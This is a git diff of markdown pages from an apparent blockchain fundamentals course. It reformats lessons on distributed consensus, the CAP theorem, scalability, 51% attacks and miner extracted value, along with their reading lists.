_[partition](https://en.wikipedia.org/wiki/Network_partition){target=\_blank}_), the network must either sacrifice consistency or availability. For example, if a blockchain network forks / partitions into two separate chains, you cannot expect those chains to both continue to mine new transactions (_Availability_) and stay consistent (_Consistency_) with each other. You don't need to be an expert in the CAP theorem, really just be aware of its existence and generally how it affects distributed networks. If you'd like to learn more, please see the links in "Additional Material" below. +- **Scalability** As we've mentioned before, blockchain consensus mechanisms, particularly Proof of Work, are limited by the amount of transactions they can process. If the block size (the amount of transactions processed) increases, then mining will become more centralized and only available to those with significant resources. However, the current transaction throughput (the amount of transactions processed) is not enough to compete against current mainstream financial payment mechanisms. There are significant challenges, mainly how to make Ethereum more light-client friendly. Meaning: how can we reduce the amount of resources needed to provide decentralized consensus? +- **51% attacks** In "11. Calculations" of the Bitcoin whitepaper, Nakamoto discusses the possibility of something called a "51% attack". This is the mathematical possibility of a malicious actor, who controls 51% or more of the network's hash rate, to both reorder some recent blocks and create a new, valid block including those tampered transactions. To be clear, this has not happened with Bitcoin or any major network, but it does exist as a possibility. Also, controlling 51% of a network's hash rate is only the entrance fee for doing such an attack. It also requires an enormous amount of coordination and subversion to make sure the attack is not noticed. Last, Proof of Work provides an economic incentive for the malicious actor with over 51% of the mining rate to actually produce _valid_ blocks, rather than trying a re-organization attack. +- **Miner Extracted Value** This is a more recent concern in the Ethereum community and may be too technical for this part of the course so no worries if you don't get this yet. Put simply, a user may increase the miner's fee of a transaction to entice a miner to include the transaction in a block. That user can use this "frontrunning" effect to target users making sophisticated trades. With the increasing sophistication of Ethereum transactions, many feel MEV poses as serious issue to the ecosystem. Please see links below for more resources if you're interested. - Conclusion ----------- +## Conclusion - Blockchain consensus protocols, as kicked off by Proof of Work but including Proof of Stake and others, are the last primitive we need in our mental model to complete our blockchain framework. Now that we have both cryptography and distributed computing in our toolkit, we will now see how we can build a generalizable framework to understanding almost any blockchain network we encounter. +Blockchain consensus protocols, as kicked off by Proof of Work but including Proof of Stake and others, are the last primitive we need in our mental model to complete our blockchain framework. Now that we have both cryptography and distributed computing in our toolkit, we will now see how we can build a generalizable framework to understanding almost any blockchain network we encounter. - Additional Material -------------------- +## Additional Material ### Introductory - * [Article: The Meaning of Decentralization](https://medium.com/@VitalikButerin/the-meaning-of-decentralization-a0c92b76a274){target=_blank} -* [Article: Sharding](https://vitalik.ca/general/2021/04/07/sharding.html){target=_blank} Discusses the scalability trilemma -* [Release Notes: Geth 1.10.0](https://blog.ethereum.org/2021/03/03/geth-v1-10-0/){target=_blank} Describes the snapshot feature implemented in Geth -* [Reddit: Making Ethereum More Lightclient Friendly](https://www.reddit.com/r/ethereum/comments/m0tqz5/making_the_ecosystem_more_lightclient_friendly/){target=_blank} -* [Article: The CAP Theorem (Dean Eigenmann)](https://dean.eigenmann.me/blog/2020/02/17/cap-theorem/){target=_blank} Another great post from the Distributed Systems newsletter describing the CAP theorem in a general way. Dean discusses how CAP theorem is particularly important with e-commerce like Amazon. -* [Article: The CAP FAQ](https://www.the-paper-trail.org/page/cap-faq/){target=_blank} A nice introductory article requiring some network knowledge. -* [Article: Eth2 Vision: The Challenge of Decentralized Scaling](https://ethereum.org/en/eth2/vision/){target=_blank} Scroll down a bit to see a diagram showing the "scalability trilemma" -* [Forum: How to Make the Ecosystem more Light-Client Friendly](https://www.reddit.com/r/ethereum/comments/m0tqz5/making_the_ecosystem_more_lightclient_friendly/){target=_blank} A Reddit discussion about Ethereum light-clients from 2021. -* [Article: What Everyone Gets Wrong about 51% Attacks (Dankrad Feist)](https://dankradfeist.de/ethereum/2021/05/20/what-everyone-gets-wrong-about-51percent-attacks.html){target=_blank} General discussion around 51% attacks, what they are, what they're not, and how Proof of Stake creates checkpoints which could avoid an adversarial re-organization attack. -* [Article: Flashbots: Frontrunning the MEV Crisis](https://medium.com/flashbots/frontrunning-the-mev-crisis-40629a613752){target=_blank} A great introductory discussion by the Flashbots research group dedicated to issue of Miner Extracted Value. -* [Interactive: Explore MEV in Real-time](https://explore.flashbots.net/){target=_blank} A visualization put together by Flashbots to document what they call MEV in real-time. -* [Article: Why Ethereum’s MEV Problem Is Way Worse Than You Think](https://www.coindesk.com/ethereum-mev-frontrunning-solutions){target=_blank} Opinion article describing the potential future problems facing Ethereum if it doesn't address Miner Extracted Value issues. -* [Video: WTF is MEV?](https://youtu.be/s3nACF7uVZw?t=405){target=_blank} Introduction to Miner Extracted Value from Charlie Noyes at a MEV Summit. This video starts at his talk but also includes the rest of the summit, which you don't have to watch! -* [Video: MEV Walkthrough with FlashBots](https://www.youtube.com/watch?v=lXq0eU8viFQ){target=_blank} Another walkthrough of MEV from Flashbots +- [Article: The Meaning of Decentralization](https://medium.com/@VitalikButerin/the-meaning-of-decentralization-a0c92b76a274){target=\_blank} +- [Article: Sharding](https://vitalik.ca/general/2021/04/07/sharding.html){target=\_blank} Discusses the scalability trilemma +- [Release Notes: Geth 1.10.0](https://blog.ethereum.org/2021/03/03/geth-v1-10-0/){target=\_blank} Describes the snapshot feature implemented in Geth +- [Reddit: Making Ethereum More Lightclient Friendly](https://www.reddit.com/r/ethereum/comments/m0tqz5/making_the_ecosystem_more_lightclient_friendly/){target=\_blank} +- [Article: The CAP Theorem (Dean Eigenmann)](https://dean.eigenmann.me/blog/2020/02/17/cap-theorem/){target=\_blank} Another great post from the Distributed Systems newsletter describing the CAP theorem in a general way. Dean discusses how CAP theorem is particularly important with e-commerce like Amazon. +- [Article: The CAP FAQ](https://www.the-paper-trail.org/page/cap-faq/){target=\_blank} A nice introductory article requiring some network knowledge. +- [Article: Eth2 Vision: The Challenge of Decentralized Scaling](https://ethereum.org/en/eth2/vision/){target=\_blank} Scroll down a bit to see a diagram showing the "scalability trilemma" +- [Forum: How to Make the Ecosystem more Light-Client Friendly](https://www.reddit.com/r/ethereum/comments/m0tqz5/making_the_ecosystem_more_lightclient_friendly/){target=\_blank} A Reddit discussion about Ethereum light-clients from 2021. +- [Article: What Everyone Gets Wrong about 51% Attacks (Dankrad Feist)](https://dankradfeist.de/ethereum/2021/05/20/what-everyone-gets-wrong-about-51percent-attacks.html){target=\_blank} General discussion around 51% attacks, what they are, what they're not, and how Proof of Stake creates checkpoints which could avoid an adversarial re-organization attack. +- [Article: Flashbots: Frontrunning the MEV Crisis](https://medium.com/flashbots/frontrunning-the-mev-crisis-40629a613752){target=\_blank} A great introductory discussion by the Flashbots research group dedicated to issue of Miner Extracted Value. +- [Interactive: Explore MEV in Real-time](https://explore.flashbots.net/){target=\_blank} A visualization put together by Flashbots to document what they call MEV in real-time. +- [Article: Why Ethereum’s MEV Problem Is Way Worse Than You Think](https://www.coindesk.com/ethereum-mev-frontrunning-solutions){target=\_blank} Opinion article describing the potential future problems facing Ethereum if it doesn't address Miner Extracted Value issues. +- [Video: WTF is MEV?](https://youtu.be/s3nACF7uVZw?t=405){target=\_blank} Introduction to Miner Extracted Value from Charlie Noyes at a MEV Summit. This video starts at his talk but also includes the rest of the summit, which you don't have to watch! +- [Video: MEV Walkthrough with FlashBots](https://www.youtube.com/watch?v=lXq0eU8viFQ){target=\_blank} Another walkthrough of MEV from Flashbots ### Advanced: Distributed Systems - * [Wiki: Distributed Systems Reading List](https://dancres.github.io/Pages/){target=_blank} Strong technical and academic discussion around distributed systems -* [Article: How Complex Systems Fail](https://how.complexsystems.fail/){target=_blank} A series of simple statements referring to the management of chaos in complex systems. Highly generalized, but still has a number of gems. -* [Tutorial: Building a Distributed Turn-Based Game System](https://fly.io/blog/building-a-distributed-turn-based-game-system-in-elixir/){target=_blank} Fun tutorial around using distributed system language Elixir. -* [Wikipedia: Beer Distribution Game](https://en.wikipedia.org/wiki/Beer_distribution_game){target=_blank} A cute, general educational game teaching about the challenges of a distributed system using a common supply chain scenario. -* [Wiki: Sharding FAQ (Ethereum Foundation)](https://eth.wiki/sharding/Sharding-FAQs){target=_blank} First mention of the "scalability trilemma" a bit technical, however! -* [Article: You Can't Sacrifice Partition Tolerance](https://codahale.com/you-cant-sacrifice-partition-tolerance/){target=_blank} -* [Code: "11. Calcuations" Bitcoin whitepaper](https://bitcoin.org/bitcoin.pdf){target=_blank} The section where Nakamoto describes the race conditions needed to achieve a 51% attack. -* [Academic Article: Flash Boys 2.0](https://arxiv.org/abs/1904.05234){target=_blank} An in-depth discussion of the Miner Extracted Value theory. -* [Wiki: Resources from Flashbots about MEV](https://github.com/flashbots/pm#resources){target=_blank} -* [Article: Ethereum is a Dark Forest](https://medium.com/@danrobinson/ethereum-is-a-dark-forest-ecc5f0505dff){target=_blank} A long narrative account describing white-hat hackers attempt to frontrun the frontrunners. A good primary account of the challenges of Miner Extracted Value. - - +- [Wiki: Distributed Systems Reading List](https://dancres.github.io/Pages/){target=\_blank} Strong technical and academic discussion around distributed systems +- [Article: How Complex Systems Fail](https://how.complexsystems.fail/){target=\_blank} A series of simple statements referring to the management of chaos in complex systems. Highly generalized, but still has a number of gems. +- [Tutorial: Building a Distributed Turn-Based Game System](https://fly.io/blog/building-a-distributed-turn-based-game-system-in-elixir/){target=\_blank} Fun tutorial around using distributed system language Elixir. +- [Wikipedia: Beer Distribution Game](https://en.wikipedia.org/wiki/Beer_distribution_game){target=\_blank} A cute, general educational game teaching about the challenges of a distributed system using a common supply chain scenario. +- [Wiki: Sharding FAQ (Ethereum Foundation)](https://ethereum.org/en/upgrades/sharding){target=\_blank} First mention of the "scalability trilemma" a bit technical, however! +- [Article: You Can't Sacrifice Partition Tolerance](https://codahale.com/you-cant-sacrifice-partition-tolerance/){target=\_blank} +- [Code: "11. Calcuations" Bitcoin whitepaper](https://bitcoin.org/bitcoin.pdf){target=\_blank} The section where Nakamoto describes the race conditions needed to achieve a 51% attack. +- [Academic Article: Flash Boys 2.0](https://arxiv.org/abs/1904.05234){target=\_blank} An in-depth discussion of the Miner Extracted Value theory. +- [Wiki: Resources from Flashbots about MEV](https://github.com/flashbots/pm#resources){target=\_blank} +- [Article: Ethereum is a Dark Forest](https://medium.com/@danrobinson/ethereum-is-a-dark-forest-ecc5f0505dff){target=\_blank} A long narrative account describing white-hat hackers attempt to frontrun the frontrunners. A good primary account of the challenges of Miner Extracted Value. diff --git a/docs/S01-fundamentals/M2-consensus/L2-consensus-additional/index.md b/docs/S01-fundamentals/M2-consensus/L2-consensus-additional/index.md index b2acbabf..2322f1a5 100644 --- a/docs/S01-fundamentals/M2-consensus/L2-consensus-additional/index.md +++ b/docs/S01-fundamentals/M2-consensus/L2-consensus-additional/index.md @@ -1,79 +1,73 @@ - Distributed Coordination: Consensus Protocols -============================================= +# Distributed Coordination: Consensus Protocols - After learning about cryptography, we know how to create an identity, how to make sure no one has messed with a file, and how to capture a user's intent all in a decentralized peer-to-peer way. This is all well and good for current interactions or things we are doing *now* on a network, but how do we agree on things that have happened in the past? That is, how do actors in a network we coordinate and agree on the series of events that have led to the current state of the network? How do we know someone really *does* have digital money they can send to us and are not making it up? How do all the actors in the network then maintain that knowledge in a secure way? This is what we're going to learn in this module. +After learning about cryptography, we know how to create an identity, how to make sure no one has messed with a file, and how to capture a user's intent all in a decentralized peer-to-peer way. This is all well and good for current interactions or things we are doing _now_ on a network, but how do we agree on things that have happened in the past? That is, how do actors in a network we coordinate and agree on the series of events that have led to the current state of the network? How do we know someone really _does_ have digital money they can send to us and are not making it up? How do all the actors in the network then maintain that knowledge in a secure way? This is what we're going to learn in this module. - To understand how all the actors in a network can coordinate and agree about the historical state of a blockchain network we will learn about **[consensus](https://en.wikipedia.org/wiki/Consensus_(computer_science)){target=_blank}**. Distributed consensus is not only used in blockchain, to be clear. Any internet service that needs to coordinate their servers all over the globe (which is all the major internet services) uses distributed consensus mechanisms to make that happen. Blockchain takes traditional distributed consensus one step further. We'll see what that step is once we understand the historical and fundamental principles of distributed computing. +To understand how all the actors in a network can coordinate and agree about the historical state of a blockchain network we will learn about **[consensus](){target=\_blank}**. Distributed consensus is not only used in blockchain, to be clear. Any internet service that needs to coordinate their servers all over the globe (which is all the major internet services) uses distributed consensus mechanisms to make that happen. Blockchain takes traditional distributed consensus one step further. We'll see what that step is once we understand the historical and fundamental principles of distributed computing. - (Note: In this section, we will use the terms **Distributed Computing**, **Distributed Systems**, **Distributed Consensus**, and **Distributed Coordination** interchangeably. We'll also be speaking about consensus strictly in the computer scientific sense. Later in the course, we'll discuss consensus among people in a network, typically called **governance**.) +(Note: In this section, we will use the terms **Distributed Computing**, **Distributed Systems**, **Distributed Consensus**, and **Distributed Coordination** interchangeably. We'll also be speaking about consensus strictly in the computer scientific sense. Later in the course, we'll discuss consensus among people in a network, typically called **governance**.) - Development of Distributed Computing ------------------------------------- +## Development of Distributed Computing - [Distributed Computing](https://en.wikipedia.org/wiki/Distributed_computing){target=_blank} became an important field of study in the 1970s when airplanes started using electronic control systems. Airline manufacturers wanted to make sure that if a certain part of the electronics gave out while the plane was in the air, the whole plane wouldn't shut down. In the scenario of an airplane, the "bad actor" is not a hacker trying to purposefully disable the entire airplane, but rather a single part that is not behaving as it should. As a result, researchers began researching and developing **consensus protocols** for the airplane computer systems. +[Distributed Computing](https://en.wikipedia.org/wiki/Distributed_computing){target=\_blank} became an important field of study in the 1970s when airplanes started using electronic control systems. Airline manufacturers wanted to make sure that if a certain part of the electronics gave out while the plane was in the air, the whole plane wouldn't shut down. In the scenario of an airplane, the "bad actor" is not a hacker trying to purposefully disable the entire airplane, but rather a single part that is not behaving as it should. As a result, researchers began researching and developing **consensus protocols** for the airplane computer systems. - At the most basic level, "consensus protocols are used to allow computers to work together" and "let different servers agree on the state of a system." ([Software Engineering Daily](https://softwareengineeringdaily.com/2018/03/26/consensus-systems-with-ethan-buchman/){target=_blank}). For the airplane manufacturers, a good consensus protocol would continue to function with some errors. This way, if one or two things failed, the entire system wouldn't fail. The ability of a consensus protocol to adapt to failure is called [resilience.](https://en.wikipedia.org/wiki/Resilience_(network)){target=_blank} +At the most basic level, "consensus protocols are used to allow computers to work together" and "let different servers agree on the state of a system." ([Software Engineering Daily](https://softwareengineeringdaily.com/2018/03/26/consensus-systems-with-ethan-buchman/){target=\_blank}). For the airplane manufacturers, a good consensus protocol would continue to function with some errors. This way, if one or two things failed, the entire system wouldn't fail. The ability of a consensus protocol to adapt to failure is called [resilience](){target=\_blank}. - Crucially, early work around distributed computing and consensus protocols dealt with *non-adversarial systems*. This meant that any of the faults that were happening in a computer network, like an airplane, were the result of natural system errors (power failure, faulty parts, etc), not some sort of active meddling or hacking. This has now developed to encompass much more than aerospace technology. As we mentioned before, it now also covers many digital services, such as: -* Any multi-party real-time communication stream (like a social media feed) -* An online media streaming service which requires multiple regional servers holding and updating the exact same information on customers -* A search engine service that needs to maintain and update indexed information across many regions +Crucially, early work around distributed computing and consensus protocols dealt with _non-adversarial systems_. This meant that any of the faults that were happening in a computer network, like an airplane, were the result of natural system errors (power failure, faulty parts, etc), not some sort of active meddling or hacking. This has now developed to encompass much more than aerospace technology. As we mentioned before, it now also covers many digital services, such as: - +- Any multi-party real-time communication stream (like a social media feed) +- An online media streaming service which requires multiple regional servers holding and updating the exact same information on customers +- A search engine service that needs to maintain and update indexed information across many regions - Consensus protocols help these systems maintain historical information also called **state.** Broadly speaking, state can be defined as a set of variables describing a certain system at a specific time. Let’s describe that in a real-world situation. Take a look around at whatever environment you’re in––bus station, coffee shop, office––and pick out a few variables you could use to describe it. If you’re inside a room, you could describe any number of things: -* The number of walls -* The types of furniture -* The placement of furniture -* The number of people -* The kind of light in the room +Consensus protocols help these systems maintain historical information also called **state.** Broadly speaking, state can be defined as a set of variables describing a certain system at a specific time. Let’s describe that in a real-world situation. Take a look around at whatever environment you’re in––bus station, coffee shop, office––and pick out a few variables you could use to describe it. If you’re inside a room, you could describe any number of things: - Taken all together, these variables will paint a picture of the room. And if things change (say, you turn off a light), we'll update "The kind of light in the room" variable, which changes the state. If multiple people needed to maintain a record about the state of our room, we'd have to find a way to communicate this state change. Consensus protocols help us do exactly that: agree on a sequential series of system state which allows all network participants adhering to the consensus protocol to have a similar understanding of the historical changes adding up to the current network state. +- The number of walls +- The types of furniture +- The placement of furniture +- The number of people +- The kind of light in the room - For a distributed computer network, state typically involves technical information about critical actors in a system. For a social media site, the state includes when a user logged in, what they did, where they were, etc. For an airplane or spaceship, the state includes current status of different parts of the ship, fuel or energy levels, temperature or atmospheric data, etc. As each individual actor in the network uses the consensus protocol to propagate the changes they're doing locally and update their own state based on updates they're getting from others, a historical understanding of the system begins to *emerge* from these state changes. This coordination of state among multiple actors in a common system allows for many interesting systems, including many of the digital services we use today. +Taken all together, these variables will paint a picture of the room. And if things change (say, you turn off a light), we'll update "The kind of light in the room" variable, which changes the state. If multiple people needed to maintain a record about the state of our room, we'd have to find a way to communicate this state change. Consensus protocols help us do exactly that: agree on a sequential series of system state which allows all network participants adhering to the consensus protocol to have a similar understanding of the historical changes adding up to the current network state. - Please note that we're using terms like "actors" or "participants" to describe the active parties in a distributed system. Despite the name, these traditionally refer to machines or computers in a network more commonly called **nodes**. It can be confusing but just try to remember these are general models we're discussing. Once we get into application and practice, it may be easier to understand. +For a distributed computer network, state typically involves technical information about critical actors in a system. For a social media site, the state includes when a user logged in, what they did, where they were, etc. For an airplane or spaceship, the state includes current status of different parts of the ship, fuel or energy levels, temperature or atmospheric data, etc. As each individual actor in the network uses the consensus protocol to propagate the changes they're doing locally and update their own state based on updates they're getting from others, a historical understanding of the system begins to _emerge_ from these state changes. This coordination of state among multiple actors in a common system allows for many interesting systems, including many of the digital services we use today. - A distributed system where multiple actors are using a consensus protocol to maintain state can be called a [state machine or finite state machine.](https://en.wikipedia.org/wiki/Finite-state_machine){target=_blank} This is fairly technical, but it simply requires us to expand our understanding of a machine, which we typically think of as a metal box containing small electronics connected by circuits. "State machine" allows us to consider larger systems, such as a cellphone network or all the electronic parts comprising an airplane, as themselves being machines comprised of nodes consistently maintaining a global state among themselves without a central point of failure. +Please note that we're using terms like "actors" or "participants" to describe the active parties in a distributed system. Despite the name, these traditionally refer to machines or computers in a network more commonly called **nodes**. It can be confusing but just try to remember these are general models we're discussing. Once we get into application and practice, it may be easier to understand. - Along with state, distributed consensus relies on a few concepts, such as: +A distributed system where multiple actors are using a consensus protocol to maintain state can be called a [state machine or finite state machine](https://en.wikipedia.org/wiki/Finite-state_machine){target=\_blank}. This is fairly technical, but it simply requires us to expand our understanding of a machine, which we typically think of as a metal box containing small electronics connected by circuits. "State machine" allows us to consider larger systems, such as a cellphone network or all the electronic parts comprising an airplane, as themselves being machines comprised of nodes consistently maintaining a global state among themselves without a central point of failure. - * **[Nodes](https://en.wikipedia.org/wiki/Node_(networking)){target=_blank}** In a strict technical sense, a node is defined as "an electronic device that is attached to a network, and is capable of creating, receiving, or transmitting information over a communication channel." Distributed systems are comprised of nodes. We also call nodes participants or actors. Nodes typically fall into three categories: Leaders (nodes responsible for proposing values), Acceptors (nodes that receive values from Leader and accept them), Processors (nodes that do some operations or processing on received values) ([source](https://distsys.substack.com/p/impossibility-of-distributed-consensus){target=_blank}). These roles are not exclusive, a single node may take on one, two, or all three roles. -* **Message Propagation** A node can update its state in a distributed network exclusively through messages. How those messages pass or propagate through the network is a critical part of maintaining state. If a node cannot pass a message through a network, there cannot be a unified state that all network nodes agree on. How nodes in a network propagate their messages is known as its [topology.](https://en.wikipedia.org/wiki/Network_topology){target=_blank} Centralized systems, as shown below, can quickly distribute messages. However, they aren't particularly resilient (if the single central node collapses, so does the network). As a result, distributed systems have developed their own peer-to-peer protocols. Below is a famous diagram showing centralized, decentralized and distributed network topologies: ![diagram of centralized, decentralized and distributed systems](../../../img/S01/network-topology.png) -* **Time** The notion of time is very important in a distributed system as it creates a sort of order for the larger system. Ordering events that occur in a system is particularly important. Think about making breakfast, for example. If you mix up the order of a series of actions, like eating your eggs before you cook them, it can create chaos and confusion. [Here's an article](https://dean.eigenmann.me/blog/2020/01/06/time-clocks-and-order/){target=_blank} from Dean Eigenmann discussing the concept of Time, Clocks, and Order in distributed systems. -* **Periods** Related to the idea of time, every consensus protocol requires discrete periods of activity. Perhaps a node is waiting to hear from a leader, perhaps a series of transactions are being prepared for a block, perhaps the nodes are passing around the latest agreed-upon state. These periods are critical to any consensus protocol. In blockchain systems, these periods typically revolve around the creation and propagation of transactions in a *block.* -* **[Fault Tolerance](https://en.wikipedia.org/wiki/Fault_tolerance){target=_blank}** This is a formal description of resilience: How many mistakes can a system tolerate before it will collapse completely? Put another way, how many bad nodes can we have in a system before the system ceases to propagate state? Leslie Lamport proposed a subset of fault tolerance called [Byzantine Fault Tolerance.](https://en.wikipedia.org/wiki/Byzantine_fault){target=_blank} We discussed it briefly in the video before. Essentially, the most amount of fault a distributed network can absorb is one-third. So, if 2/3rds of a system are still available and coordinating, the system can still run. Because of this famous thought experiment, you may see fault tolerance referred to as Byzantine Fault tolerance or Practical Byzantine Fault Tolerance. However, it's similar to how a rectangle is not a square but a square is a rectangle: Not all fault tolerance is Byzantine fault tolerance. We'll discuss more of this later in the section on trustless consensus. +Along with state, distributed consensus relies on a few concepts, such as: - Please note: Distributed consensus outside of blockchain only deals with systems that are non-adversarial meaning all the nodes trust each other. This means the only errors that would show up would be from things like power failures or misbehaving parts, etc. You would not attribute malice to any misbehaving actor. Blockchain's big innovation, which we'll discuss later, was the creation of consensus protocols in adversarial networks in which you *must* assume everyone is out to get you. This is what we call **trustless consensus**. +- **[Nodes](){target=\_blank}** In a strict technical sense, a node is defined as "an electronic device that is attached to a network, and is capable of creating, receiving, or transmitting information over a communication channel." Distributed systems are comprised of nodes. We also call nodes participants or actors. Nodes typically fall into three categories: Leaders (nodes responsible for proposing values), Acceptors (nodes that receive values from Leader and accept them), Processors (nodes that do some operations or processing on received values) ([source](https://distsys.substack.com/p/impossibility-of-distributed-consensus){target=\_blank}). These roles are not exclusive, a single node may take on one, two, or all three roles. +- **Message Propagation** A node can update its state in a distributed network exclusively through messages. How those messages pass or propagate through the network is a critical part of maintaining state. If a node cannot pass a message through a network, there cannot be a unified state that all network nodes agree on. How nodes in a network propagate their messages is known as its [topology.](https://en.wikipedia.org/wiki/Network_topology){target=\_blank} Centralized systems, as shown below, can quickly distribute messages. However, they aren't particularly resilient (if the single central node collapses, so does the network). As a result, distributed systems have developed their own peer-to-peer protocols. Below is a famous diagram showing centralized, decentralized and distributed network topologies: ![diagram of centralized, decentralized and distributed systems](../../../img/S01/network-topology.png) +- **Time** The notion of time is very important in a distributed system as it creates a sort of order for the larger system. Ordering events that occur in a system is particularly important. Think about making breakfast, for example. If you mix up the order of a series of actions, like eating your eggs before you cook them, it can create chaos and confusion. [Here's an article](https://dean.eigenmann.me/blog/2020/01/06/time-clocks-and-order/){target=\_blank} from Dean Eigenmann discussing the concept of Time, Clocks, and Order in distributed systems. +- **Periods** Related to the idea of time, every consensus protocol requires discrete periods of activity. Perhaps a node is waiting to hear from a leader, perhaps a series of transactions are being prepared for a block, perhaps the nodes are passing around the latest agreed-upon state. These periods are critical to any consensus protocol. In blockchain systems, these periods typically revolve around the creation and propagation of transactions in a _block._ +- **[Fault Tolerance](https://en.wikipedia.org/wiki/Fault_tolerance){target=\_blank}** This is a formal description of resilience: How many mistakes can a system tolerate before it will collapse completely? Put another way, how many bad nodes can we have in a system before the system ceases to propagate state? Leslie Lamport proposed a subset of fault tolerance called [Byzantine Fault Tolerance](https://en.wikipedia.org/wiki/Byzantine_fault){target=\_blank}. We discussed it briefly in the video before. Essentially, the most amount of fault a distributed network can absorb is one-third. So, if 2/3rds of a system are still available and coordinating, the system can still run. Because of this famous thought experiment, you may see fault tolerance referred to as Byzantine Fault tolerance or Practical Byzantine Fault Tolerance. However, it's similar to how a rectangle is not a square but a square is a rectangle: Not all fault tolerance is Byzantine fault tolerance. We'll discuss more of this later in the section on trustless consensus. - Conclusion ----------- +Please note: Distributed consensus outside of blockchain only deals with systems that are non-adversarial meaning all the nodes trust each other. This means the only errors that would show up would be from things like power failures or misbehaving parts, etc. You would not attribute malice to any misbehaving actor. Blockchain's big innovation, which we'll discuss later, was the creation of consensus protocols in adversarial networks in which you _must_ assume everyone is out to get you. This is what we call **trustless consensus**. - In our search for the primitives underlying blockchain technology, consensus holds an important piece by allowing a network to have a memory of its own history, which we are calling *state.* We saw how cryptography allowed us to ensure peer-to-peer authenticity in the moment. Consensus protocols allow us to "save" that authenticity across time by facilitating the coordination of all network nodes around a global state. It also allows new participants (nodes) to enter the system and get "up to date" on what has happened previously in the system. +## Conclusion - The next section is an excellent overview of a basic consensus protocol system called [Raft.](https://en.wikipedia.org/wiki/Raft_(algorithm)){target=_blank} Raft is a simplified consensus algorithm which we feel makes it more approachable to understand. However, Raft is a production-ready consensus protocol [used](https://www.dbta.com/Columns/MongoDB-Matters/MongoDB-Matters-MongoDB-Strives-for-a-Perfect-Consensus-132930.aspx){target=_blank} by such major projects as [MongoDB.](https://en.wikipedia.org/wiki/MongoDB){target=_blank} The website The Secret Lives of Data has created an extraordinary walkthrough of Raft, which we hope will illustrate consensus in a concrete way. +In our search for the primitives underlying blockchain technology, consensus holds an important piece by allowing a network to have a memory of its own history, which we are calling _state._ We saw how cryptography allowed us to ensure peer-to-peer authenticity in the moment. Consensus protocols allow us to "save" that authenticity across time by facilitating the coordination of all network nodes around a global state. It also allows new participants (nodes) to enter the system and get "up to date" on what has happened previously in the system. - Additional Links ----------------- +The next section is an excellent overview of a basic consensus protocol system called [Raft](){target=\_blank}. Raft is a simplified consensus algorithm which we feel makes it more approachable to understand. However, Raft is a production-ready consensus protocol [used](https://www.dbta.com/Columns/MongoDB-Matters/MongoDB-Matters-MongoDB-Strives-for-a-Perfect-Consensus-132930.aspx){target=\_blank} by such major projects as [MongoDB](https://en.wikipedia.org/wiki/MongoDB){target=\_blank}. The website The Secret Lives of Data has created an extraordinary walkthrough of Raft, which we hope will illustrate consensus in a concrete way. + +## Additional Links ### Basic - * [Interactive: Raft: Understandable Distributed Consensus](http://thesecretlivesofdata.com/raft/){target=_blank} A really excellent, interactive walkthrough of the Raft consensus protocol, a basic consensus protocol. The simple and easy way in which the tutorial walks through the consensus mechanism will help you understand how consensus protocols work on a practical level. -* Article: [Let's Take a Crack at Understanding Distributed Consensus](https://www.preethikasireddy.com/post/lets-take-a-crack-at-understanding-distributed-consensus){target=_blank} (Preethi Kasireddy) -* [Article Series: Distributed Systems Digest](https://distsys.substack.com/){target=_blank} (Dean Eigenmann) This is an excellent series of articles discussing distributed systems, in an approachable way. If you click "Let me read it first," you can access the articles. -* [Podcast: Distributed Systems with Ethan Buchman (Software Engineering Daily)](https://softwareengineeringdaily.com/2018/03/26/consensus-systems-with-ethan-buchman/){target=_blank} An overview on distributed systems, including the history of their development -* [Article: Want to Really Understand Blockchain? You Need to Understand State (ConsenSys)](https://consensys.net/blog/blockchain-explained/want-to-really-understand-blockchain-you-need-to-understand-state/){target=_blank} -* [Article: A Brief Overview of Kademlia and Its Use In Various Decentralized Platforms](https://medium.com/coinmonks/a-brief-overview-of-kademlia-and-its-use-in-various-decentralized-platforms-da08a7f72b8f){target=_blank} The Kademlia protocol is a peer-to-peer file sharing system used by many decentralized systems, including Ethereum. -* [Article: Nodes and Links (Explained from First Principles)](https://explained-from-first-principles.com/internet/#nodes-and-links){target=_blank} -* Wikipedia: [Consensus Methods,](https://en.wikipedia.org/wiki/Consensus_(computer_science)){target=_blank} [Distributed Computing,](https://en.wikipedia.org/wiki/Distributed_computing){target=_blank} [Network Resilience,](https://en.wikipedia.org/wiki/Resilience_(network)){target=_blank} [Fault Tolerance,](https://en.wikipedia.org/wiki/Fault_tolerance){target=_blank} [Network State,](https://en.wikipedia.org/wiki/State_(computer_science)){target=_blank} [Byzantine Fault Tolerance](https://en.wikipedia.org/wiki/Byzantine_fault){target=_blank} [State Machines,](https://en.wikipedia.org/wiki/Finite-state_machine){target=_blank} [Peer-to-Peer Protocols,](https://en.wikipedia.org/wiki/List_of_P2P_protocols){target=_blank} [Gossip Protocol](https://en.wikipedia.org/wiki/Gossip_protocol){target=_blank} +- [Interactive: Raft: Understandable Distributed Consensus](http://thesecretlivesofdata.com/raft/){target=\_blank} A really excellent, interactive walkthrough of the Raft consensus protocol, a basic consensus protocol. The simple and easy way in which the tutorial walks through the consensus mechanism will help you understand how consensus protocols work on a practical level. +- Article: [Let's Take a Crack at Understanding Distributed Consensus](https://www.preethikasireddy.com/post/lets-take-a-crack-at-understanding-distributed-consensus){target=\_blank} (Preethi Kasireddy) +- [Article Series: Distributed Systems Digest](https://distsys.substack.com/){target=\_blank} (Dean Eigenmann) This is an excellent series of articles discussing distributed systems, in an approachable way. If you click "Let me read it first," you can access the articles. +- [Podcast: Distributed Systems with Ethan Buchman (Software Engineering Daily)](https://softwareengineeringdaily.com/2018/03/26/consensus-systems-with-ethan-buchman/){target=\_blank} An overview on distributed systems, including the history of their development +- [Article: Want to Really Understand Blockchain? You Need to Understand State (ConsenSys)](https://consensys.net/blog/blockchain-explained/want-to-really-understand-blockchain-you-need-to-understand-state/){target=\_blank} +- [Article: A Brief Overview of Kademlia and Its Use In Various Decentralized Platforms](https://medium.com/coinmonks/a-brief-overview-of-kademlia-and-its-use-in-various-decentralized-platforms-da08a7f72b8f){target=\_blank} The Kademlia protocol is a peer-to-peer file sharing system used by many decentralized systems, including Ethereum. +- [Article: Nodes and Links (Explained from First Principles)](https://explained-from-first-principles.com/internet/#nodes-and-links){target=\_blank} +- Wikipedia: [Consensus Methods,](){target=\_blank} [Distributed Computing,](https://en.wikipedia.org/wiki/Distributed_computing){target=\_blank} [Network Resilience,](){target=\_blank} [Fault Tolerance,](https://en.wikipedia.org/wiki/Fault_tolerance){target=\_blank} [Network State,](){target=\_blank} [Byzantine Fault Tolerance](https://en.wikipedia.org/wiki/Byzantine_fault){target=\_blank} [State 